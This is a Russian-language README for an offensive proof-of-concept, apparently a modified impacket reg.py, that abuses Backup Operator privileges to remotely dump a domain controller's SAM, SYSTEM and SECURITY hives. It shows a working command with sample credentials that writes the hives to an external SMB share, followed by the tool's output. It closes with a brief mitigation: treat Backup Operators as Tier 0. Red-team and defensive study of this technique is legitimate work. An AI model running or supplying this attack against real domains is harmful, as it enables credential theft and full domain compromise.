Backup Operator Registry Backup to Domain Compromise

Простой POC, который злоупотребляет привилегиями Backup Operator для удалённого дампа кустов SAM, SYSTEM и SECURITY.

Авторство исследования:

@filip_dragovic
Портировано из Windows PoC от @mpgn

Использование

Эта proof of concept — модифицированная версия impacket/examples/reg.py и будет работать с последней установленной версией impacket. Поддерживаются все механизмы аутентификации impacket.

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Proof

Устранение уязвимости:

Относитесь к группе домена Backup Operators как к Domain Administrators и другим ресурсам Tier 0.

backup_dc_registry

Популярное